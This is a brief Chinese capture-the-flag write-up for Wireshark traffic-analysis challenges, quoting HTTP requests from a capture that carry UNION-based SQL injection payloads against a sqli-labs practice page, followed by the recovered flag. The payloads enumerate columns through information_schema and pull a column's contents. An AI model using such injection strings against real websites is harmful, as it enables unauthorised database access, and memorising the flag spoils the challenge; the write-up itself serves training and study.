数字中国wp

image-20240428163604276

Wirshark2.1

theanswerishere.php

Wirshark2.2

1
6P<GET /sql/Less-1/theanswerishere.php?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g'--+ HTTP/1.1

根据语句可以看出有3列

Wirshark2.3

1
/sql/Less-1/theanswerishere.php?id=0' union select 1,2,group_concat(th1sfI4g) from fl4g--+ HTTP/1.1

列名为th1sfl4g

Wirshark2.4

image-20240428164031449

flag{th1s_ls_tHe_sQI1_anSwer}